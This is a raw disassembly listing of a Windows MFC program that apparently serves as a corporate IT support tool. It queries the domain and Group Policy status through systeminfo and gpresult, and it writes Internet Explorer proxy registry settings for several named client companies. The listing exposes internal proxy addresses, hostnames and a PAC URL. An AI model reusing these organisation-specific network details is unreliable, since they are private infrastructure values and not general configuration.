mov sil, 1
mov byte [rsp + 0x78], sil
xor r8d, r8d
lea rdx, str.Files
lea rcx, [rsp + 0x128]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x2008]
lea rcx, [rsp + 0x128]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x6e8]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x2008]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rax, [rsp + 0x2010]
mov qword [rsp + 0x58], rax
lea rdx, str._files_etc...
lea rcx, [rsp + 0xd28]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, str.Symantec_scan_completed__Risks:_0_and
lea rcx, [rsp + 0xd20]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rcx, [rsp + 0x6e8]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
mov r8, rax
lea rdx, [rsp + 0xd20]
lea rcx, [rsp + 0x2018]
call fcn.140006490
nop
lea r8, [rsp + 0xd28]
mov rdx, rax
lea rcx, [rsp + 0x2010]
call fcn.140006490
mov rbx, rax
call sub.mfc140u.dll_AfxFieldText
nop
mov rdx, rbx
mov rcx, qword [rax + 8]
call fcn.1400afa30
nop
lea rcx, [rsp + 0x2018]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xd20]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xd28]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x6e8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x700]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x128]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x6f0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x200]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x6f8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x3f0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xd30]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
jmp 0x1400acb92
lea rcx, [rsp + 0x128]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
mov ebx, eax
sub ebx, edi
lea rcx, [rsp + 0x700]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub ebx, eax
mov r8d, ebx
lea rdx, [rsp + 0x2020]
lea rcx, [rsp + 0x128]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x128]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x2020]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
inc r14d
jmp 0x1400aa2c0
xor r8d, r8d
lea rdx, str.showProxyDialog
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x1400aa654
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x2048]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x2048]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x2050]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x2050]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [0x14014f8c8]
lea rcx, [rsp + 0x50]
call fcn.140042c70
test al, al
je 0x1400aa61f
lea rax, [rsp + 0x2058]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x2058]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
call sub.mfc140u.dll_AfxFieldText
nop
mov rdx, rbx
mov rcx, qword [rax + 8]
call fcn.1400afa70
xor edx, edx
lea rcx, [rsp + 0x3d20]
call fcn.140034360
nop
lea rcx, [rsp + 0x3d20]
call sub.mfc140u.dll_CD2DPathGeometry::Detach
test eax, eax
sete sil
lea rcx, [rsp + 0x3d20]
call fcn.140034450
jmp 0x1400acb92
lea rdx, str.checkforDomain
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400aa7a8
lea rdx, str.systeminfo_find__Domain_
lea rcx, [rsp + 0x2060]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__1]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x2a0]
call fcn.1400fc5a0
nop
call sub.mfc140u.dll_AfxFieldText
mov rdx, qword [rax + 8]
add rdx, 0x3b8
lea rcx, [rsp + 0xd38]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
xor r8d, r8d
lea rdx, str.sony
lea rcx, [rsp + 0xd38]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
lea rdx, [rsp + 0x2a0]
test eax, eax
js 0x1400aa723
lea rax, [rsp + 0x2068]
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x2068]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
lea rdx, str.check_for_user_domain_in_sony
lea rcx, [rsp + 0x2070]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__1]
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
lea rdx, str.ap.sony.com
jmp 0x1400aa76f
lea rax, [rsp + 0x2078]
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x2078]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
lea rdx, str.check_for_user_domain_in_syngene
lea rcx, [rsp + 0x2080]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__1]
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
lea rdx, str.BIOCON.COM
xor r8d, r8d
lea rcx, [rsp + 0x2a0]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
setns sil
lea rcx, [rsp + 0xd38]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x2a0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
xor r8d, r8d
lea rdx, str.Groupdatecheck
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x1400aaa8c
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x2a8]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x2a8]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x2088]
lea rcx, [rsp + 0x2a8]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x2a8]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x2088]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x1c8]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rcx, [rsp + 0x20c0]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rcx, [rsp + 0x708]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
xor r8d, r8d
lea rdx, [0x14015f558]
lea rcx, [rsp + 0x2a8]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400aaa4c
lea rdx, str.gpresult__Scope_User__v_findstr__Last_time_Group_Policy_was_applied_
lea rcx, [rsp + 0x708]
call qword [sym.imp.mfc140u.dll_CMFCControlRendererInfo::CMFCControlRendererInfo]
lea rdx, [rsp + 0x708]
lea rcx, [rsp + 0x2090]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x2098]
call fcn.1400fc5a0
nop
mov rdx, rax
lea rcx, [rsp + 0x1c8]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x2098]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x1c8]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
lea rax, [rsp + 0x20a0]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x1c8]
lea rcx, [rsp + 0x20a0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
lea rdx, str.Check_for_group_policy_updation
lea rcx, [rsp + 0x20a8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__1]
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
xor r8d, r8d
lea rdx, str.Last_time_Group_Policy_was_applied:
lea rcx, [rsp + 0x1c8]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x1c8]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
mov r8d, eax
lea rdx, [rsp + 0x1d8]
lea rcx, [rsp + 0x1c8]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
xor r8d, r8d
lea rdx, str.Group_Policy_was_applied_from:
lea rcx, [rsp + 0x1d8]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x20b0]
lea rcx, [rsp + 0x1d8]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x1d8]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x20b0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x1d8]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
lea r8, str.._Do_you_want_to_force_update_it_
lea rdx, [rsp + 0x1d8]
lea rcx, [rsp + 0x20b8]
call fcn.14007b460
nop
mov rdx, rax
lea rcx, [0x1401e96b0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x20b8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov sil, 1
lea rcx, [rsp + 0x1d8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x708]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x20c0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1c8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x2a8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
lea rdx, str.switchoffproxy
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x1400ab1da
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x20c8]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x20c8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x20d0]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x20d0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov edi, 1
mov dword [rsp + 0x198], edi
lea rax, [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionInternet_Settings
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, eax
xor r8d, r8d
lea rdx, str.ongc
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400aac5f
test ebx, ebx
jne 0x1400aac5f
cmp qword [rsp + 0x90], 0
je 0x1400aac5f
lea rdx, str.10.205.48.228:8080
lea rcx, [rsp + 0x3f8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__1]
nop
mov dword [rsp + 0x568], edi
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x568]
mov qword [rsp + 0x20], rax
lea r9d, [rdi + 3]
xor r8d, r8d
lea rdx, str.ProxyEnable
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, edi
lea rcx, [rsp + 0x3f8]
call qword [sym.imp.mfc140u.dll_Ordinal_4946]
lea rcx, [rsp + 0x3f8]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
mov ebx, eax
lea rcx, [rsp + 0x3f8]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, edi
xor r8d, r8d
lea rdx, str.ProxyServer
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
lea rcx, [rsp + 0x3f8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
lea rdx, [0x14016fe00]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400aadc7
test ebx, ebx
jne 0x1400aadc7
cmp qword [rsp + 0x90], 0
je 0x1400aadc7
xor r8d, r8d
lea rdx, [0x14015ed0c]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x20d8]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x20d8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, str.:8080
lea rcx, [rsp + 0xd40]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0xd40]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x400]
call fcn.140006490
nop
lea rcx, [rsp + 0xd40]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov dword [rsp + 0x56c], edi
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x56c]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.ProxyEnable
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, edi
lea rcx, [rsp + 0x400]
call qword [sym.imp.mfc140u.dll_Ordinal_4946]
lea rcx, [rsp + 0x400]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
mov ebx, eax
lea rcx, [rsp + 0x400]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, edi
xor r8d, r8d
lea rdx, str.ProxyServer
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
lea rcx, [rsp + 0x400]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
lea rdx, [0x14016fe10]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400aaeeb
test ebx, ebx
jne 0x1400ab10d
cmp qword [rsp + 0x90], 0
je 0x1400ab10d
lea rdx, str.Proxy.HDBFS.com:9444
lea rcx, [rsp + 0x408]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
mov dword [rsp + 0x570], edi
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x570]
mov qword [rsp + 0x20], rax
lea r9d, [rbx + 4]
xor r8d, r8d
lea rdx, str.ProxyEnable
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, edi
lea rcx, [rsp + 0x408]
call qword [sym.imp.mfc140u.dll_Ordinal_4946]
lea rcx, [rsp + 0x408]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
mov ebx, eax
lea rcx, [rsp + 0x408]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, edi
xor r8d, r8d
lea rdx, str.ProxyServer
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
xor r14d, r14d
mov dword [rsp + 0x198], r14d
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x198]
mov qword [rsp + 0x20], rax
lea r9d, [r14 + 4]
xor r8d, r8d
lea rdx, str.AutoDetect
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
nop
lea rcx, [rsp + 0x408]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400ab10d
xor r8d, r8d
lea rdx, str.idfc
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400ab03e
test ebx, ebx
jne 0x1400ab10d
cmp qword [rsp + 0x90], 0
je 0x1400ab10d
lea rdx, str.http:__dcproxy.idfcbank.com:4713_files_DCPROXY.pac
lea rcx, [rsp + 0x410]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov dword [rsp + CPreviewViewEx::~CPreviewViewEx], edi
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x574]
mov qword [rsp + 0x20], rax
lea r9d, [rbx + 4]
xor r8d, r8d
lea rdx, str.AutoDetect
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
xor r14d, r14d
mov dword [rsp + CPreviewViewEx::~CPreviewViewEx], r14d
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x578]
mov qword [rsp + 0x20], rax
lea r9d, [rbx + 4]
xor r8d, r8d
lea rdx, str.ProxyEnable
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea rcx, [rsp + 0x410]
call qword [sym.imp.mfc140u.dll_Ordinal_6717]
mov rbx, rax
lea rcx, [rsp + 0x410]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
mov r9d, edi
xor r8d, r8d
lea rdx, str.ProxyServer
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea rcx, [rsp + 0x410]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
mov r9d, edi
xor r8d, r8d
lea rdx, str.AutoConfigURL
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea rcx, [rsp + 0x410]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400ab10d
xor r8d, r8d
lea rdx, str.Bagic
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r14d, r14d
mov dword [rsp + 0x28], 4
lea r9d, [r14 + 4]
xor r8d, r8d
lea rdx, str.ProxyEnable
mov rcx, qword [rsp + 0x90]
test eax, eax
js 0x1400ab0aa
mov dword [rsp + 0x57c], r14d
lea rax, [rsp + 0x57c]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea rdx, str.AutoConfigURL
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
jmp 0x1400ab10d
mov dword [rsp + 0x580], r14d
lea rax, [rsp + 0x580]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea rdx, str.AutoConfigURL
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x198]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.AutoDetect
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
xor r8d, r8d
lea rdx, str.DisableFirefoxProxy
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400ab1c7
call sub.mfc140u.dll_AfxFieldText
mov rdx, qword [rax + 8]
add rdx, 0x3d0
lea rcx, [rsp + 0xd58]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
lea rdx, str.disableProxyInMozilla.bat
lea rcx, [rsp + 0xd48]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0xd48]
lea rdx, [rsp + 0xd58]
lea rcx, [rsp + 0xd50]
call fcn.140006490
nop
lea rcx, [rsp + 0xd48]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [rsp + 0xd50]
lea rcx, [rsp + reloc.mfc140u.dll_CHtmlView::LoadFromResource]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400e5b80
nop
lea rcx, [rsp + 0xd50]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xd58]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x14009cc6d
lea rdx, str.checkpopstatus
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x1400ab422
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x20e8]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x20e8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x50]
